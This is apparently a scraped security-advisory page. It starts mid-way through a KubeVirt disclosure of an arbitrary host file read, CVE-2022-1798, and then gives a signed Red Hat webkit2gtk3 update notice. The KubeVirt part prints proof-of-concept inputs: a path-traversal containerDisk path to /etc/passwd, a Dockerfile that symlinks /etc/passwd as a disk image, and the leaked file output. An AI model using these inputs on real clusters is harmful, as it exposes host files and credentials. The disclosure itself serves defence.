      image: \[quay.io/kubevirt/cirros-container-disk-demo:v0.52.0\](http://quay.io/kubevirt/cirros-container-disk-demo:v0.52.0)
    name: containerdisk
  - containerDisk:
      image: \[quay.io/kubevirt/cirros-container-disk-demo:v0.52.0\](http://quay.io/kubevirt/cirros-container-disk-demo:v0.52.0)
      path: test3/../../../../../../../../etc/passwd
    name: containerdisk1
  - cloudInitNoCloud:
      userData: |
        #!/bin/sh
        echo 'just something to make cirros happy'
    name: cloudinitdisk

2.  Instead of passing in relative links on the API, using malicious links in the containerDisk itself can have the same effect:

FROM <anybase>
RUN mkdir -p /etc/ && touch /etc/passwd
RUN mkdir -p /disks/ && ln -s /etc/passwd /disks/disk.img

3.  KubeVirt allows PVC hotplugging. The hotplugged PVC is under user-control and it is possible to place absolute links there. Since containerDisk and hotplug code use the same mechanism to provide the disk to the virt-launcher pod, it can be used too to do arbitrary host file reads.

In all three cases it is then possible to at lest read any host file:

    $ sudo cat /dev/vdc
    root:x:0:0:root:/root:/bin/bash
    bin:x:1:1:bin:/bin:/sbin/nologin
    daemon:x:2:2:daemon:/sbin:/sbin/nologin
    adm:x:3:4:adm:/var/adm:/sbin/nologin
    lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
    [...]
    

**Patches**

KubeVirt 0.55.1 provides patches to fix the vulnerability.

**Workarounds**

*   Ensure that the HotplugVolumes feature-gate is disabled
*   ContainerDisk support can't be disabled. The only known way to mitigate this issue is create with e.g. policy controller a conditiontemplate which ensures that no containerDisk gets added and that spec.domain.firmware.kernelBoot is not used on VirtualMachineInstances.|
*   Ensure that SELinux is enabled. It blocks most attempts to read host files but does not provide a 100% guarantee (like vm-to-vm read may still work).

**References**

Disclosure notice form the discovering party: GHSA-cvx8-ppmc-78hm

**For more information**

For interested vendors which have to provide a fix for their supported versions, the following PRs are providing the fix:

*   #8198
*   #8268

**Credits**

Oliver Brooks and James Klopchic of NCC Group  
Diane Dubois and Roman Mohr of Google

CVE-2022-1798: Arbitrary file read on host

Red Hat Security Advisory 2022-6542-01 - PHP is an HTML-embedded scripting language commonly used with the Apache HTTP Server. Issues addressed include file overwrite and traversal vulnerabilities.

Red Hat Security Advisory 2022-6542-01

Red Hat Security Advisory 2022-6540-01 - WebKitGTK is the port of the portable web rendering engine WebKit to the GTK platform. Issues addressed include a code execution vulnerability.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

====================================================================                     
Red Hat Security Advisory

Synopsis:          Moderate: webkit2gtk3 security update  
Advisory ID:       RHSA-2022:6540-01  
Product:           Red Hat Enterprise Linux  
Advisory URL:      https://access.redhat.com/errata/RHSA-2022:6540  
Issue date:        2022-09-15  
CVE Names:         CVE-2022-32893  
====================================================================  
1. Summary:

An update for webkit2gtk3 is now available for Red Hat Enterprise Linux 8.

Red Hat Product Security has rated this update as having a security impact  
of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which  
gives a detailed severity rating, is available for each vulnerability from  
the CVE link(s) in the References section.

2. Relevant releases/architectures:

Red Hat Enterprise Linux AppStream (v. 8) - aarch64, ppc64le, s390x, x86_64

3. Description:

WebKitGTK is the port of the portable web rendering engine WebKit to the  
GTK platform.

The following packages have been upgraded to a later upstream version:  
webkit2gtk3 (2.36.7).

Security Fix(es):

* webkitgtk: processing maliciously crafted web content may lead to  
arbitrary code execution (CVE-2022-32893)

For more details about the security issue(s), including the impact, a CVSS  
score, acknowledgments, and other related information, refer to the CVE  
page(s) listed in the References section.

4. Solution:

For details on how to apply this update, which includes the changes  
described in this advisory, refer to:

https://access.redhat.com/articles/11258

5. Bugs fixed (https://bugzilla.redhat.com/):

2121645 - CVE-2022-32893 webkitgtk: processing maliciously crafted web content may lead to arbitrary code execution

6. Package List:

Red Hat Enterprise Linux AppStream (v. 8):

Source:  
webkit2gtk3-2.36.7-1.el8_6.src.rpm

aarch64:  
webkit2gtk3-2.36.7-1.el8_6.aarch64.rpm  
webkit2gtk3-debuginfo-2.36.7-1.el8_6.aarch64.rpm  
webkit2gtk3-debugsource-2.36.7-1.el8_6.aarch64.rpm  
webkit2gtk3-devel-2.36.7-1.el8_6.aarch64.rpm  
webkit2gtk3-devel-debuginfo-2.36.7-1.el8_6.aarch64.rpm  
webkit2gtk3-jsc-2.36.7-1.el8_6.aarch64.rpm  
webkit2gtk3-jsc-debuginfo-2.36.7-1.el8_6.aarch64.rpm  
webkit2gtk3-jsc-devel-2.36.7-1.el8_6.aarch64.rpm  
webkit2gtk3-jsc-devel-debuginfo-2.36.7-1.el8_6.aarch64.rpm

ppc64le:  
webkit2gtk3-2.36.7-1.el8_6.ppc64le.rpm  
webkit2gtk3-debuginfo-2.36.7-1.el8_6.ppc64le.rpm  
webkit2gtk3-debugsource-2.36.7-1.el8_6.ppc64le.rpm  
webkit2gtk3-devel-2.36.7-1.el8_6.ppc64le.rpm  
webkit2gtk3-devel-debuginfo-2.36.7-1.el8_6.ppc64le.rpm  
webkit2gtk3-jsc-2.36.7-1.el8_6.ppc64le.rpm  
webkit2gtk3-jsc-debuginfo-2.36.7-1.el8_6.ppc64le.rpm  
webkit2gtk3-jsc-devel-2.36.7-1.el8_6.ppc64le.rpm  
webkit2gtk3-jsc-devel-debuginfo-2.36.7-1.el8_6.ppc64le.rpm

s390x:  
webkit2gtk3-2.36.7-1.el8_6.s390x.rpm  
webkit2gtk3-debuginfo-2.36.7-1.el8_6.s390x.rpm  
webkit2gtk3-debugsource-2.36.7-1.el8_6.s390x.rpm  
webkit2gtk3-devel-2.36.7-1.el8_6.s390x.rpm  
webkit2gtk3-devel-debuginfo-2.36.7-1.el8_6.s390x.rpm  
webkit2gtk3-jsc-2.36.7-1.el8_6.s390x.rpm  
webkit2gtk3-jsc-debuginfo-2.36.7-1.el8_6.s390x.rpm  
webkit2gtk3-jsc-devel-2.36.7-1.el8_6.s390x.rpm  
webkit2gtk3-jsc-devel-debuginfo-2.36.7-1.el8_6.s390x.rpm

x86_64:  
webkit2gtk3-2.36.7-1.el8_6.i686.rpm  
webkit2gtk3-2.36.7-1.el8_6.x86_64.rpm  
webkit2gtk3-debuginfo-2.36.7-1.el8_6.i686.rpm  
webkit2gtk3-debuginfo-2.36.7-1.el8_6.x86_64.rpm  
webkit2gtk3-debugsource-2.36.7-1.el8_6.i686.rpm  
webkit2gtk3-debugsource-2.36.7-1.el8_6.x86_64.rpm  
webkit2gtk3-devel-2.36.7-1.el8_6.i686.rpm  
webkit2gtk3-devel-2.36.7-1.el8_6.x86_64.rpm  
webkit2gtk3-devel-debuginfo-2.36.7-1.el8_6.i686.rpm  
webkit2gtk3-devel-debuginfo-2.36.7-1.el8_6.x86_64.rpm  
webkit2gtk3-jsc-2.36.7-1.el8_6.i686.rpm  
webkit2gtk3-jsc-2.36.7-1.el8_6.x86_64.rpm  
webkit2gtk3-jsc-debuginfo-2.36.7-1.el8_6.i686.rpm  
webkit2gtk3-jsc-debuginfo-2.36.7-1.el8_6.x86_64.rpm  
webkit2gtk3-jsc-devel-2.36.7-1.el8_6.i686.rpm  
webkit2gtk3-jsc-devel-2.36.7-1.el8_6.x86_64.rpm  
webkit2gtk3-jsc-devel-debuginfo-2.36.7-1.el8_6.i686.rpm  
webkit2gtk3-jsc-devel-debuginfo-2.36.7-1.el8_6.x86_64.rpm

These packages are GPG signed by Red Hat for security.  Our key and  
details on how to verify the signature are available from  
https://access.redhat.com/security/team/key/

7. References:

https://access.redhat.com/security/cve/CVE-2022-32893  
https://access.redhat.com/security/updates/classification/#moderate

8. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2022 Red Hat, Inc.  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1

iQIVAwUBYyMk0dzjgjWX9erEAQgJiw/+LYAkLQ3B+egDz2T8gBO2HzEtHgA8L7TO  
aFWvgGSnt32NlsOLFg1R3FxvGRVurR5Vgx2QN4tvVi/iYIgGw1WTSCC2GaiamjoP  
AawahjPf08LboH3d96QHN7rumXeXLUcymQyG4p4BPnEOqYPaKKdmj5CPaGWM/o+l  
ECo8POkVp0mHb4HOCL8iudG5aKDmEB5OqHfQS0XmFU3392yazpD6Y1DwpIfCNAhb  
ptdcqHrycH+QFUdd3YmtQj567R5+q/DAKFN60KHdwT+JeiRwdV9k89cAoWIJA6Hh  
3ZxRuVbc108rySf/9tdZSjl7nw4IbLwcbScUwUHfHzjFfS3h7u+kkDLL10c4sfWf  
psc1mGVUXzLN6qBaWiY96bXOUOzX72LkC0LqhgDOfjBvaGzJjFwfydDgql/TPkSZ  
478+0r5JD6sFsboLugtqhXMLNpJtxYGBSMUA31Bjmf8jWGwKrzZCbxUMuQIHk7VG  
4M9gdZbu5wQw6fhksOlHGowoXEvc6UTB36eSLvZ76OK65yoXmpOXTFjIFfmDACkV  
M4GVQGpNglQWn/4jBXjebEeFC86baScn97NpCL41FK9AXlP7xBPaCN++DjAYDlbg  
NJf8tizErS4zMa1moMYL2DEac/nhLJDwtKaCvftcdRPrVnQZEZto7Chvf1FgNAJc  
+nurAiBV/zc=W4oO  
-----END PGP SIGNATURE-----  
--  
RHSA-announce mailing list  
RHSA-announce@redhat.com  
https://listman.redhat.com/mailman/listinfo/rhsa-announce

Tag

#linux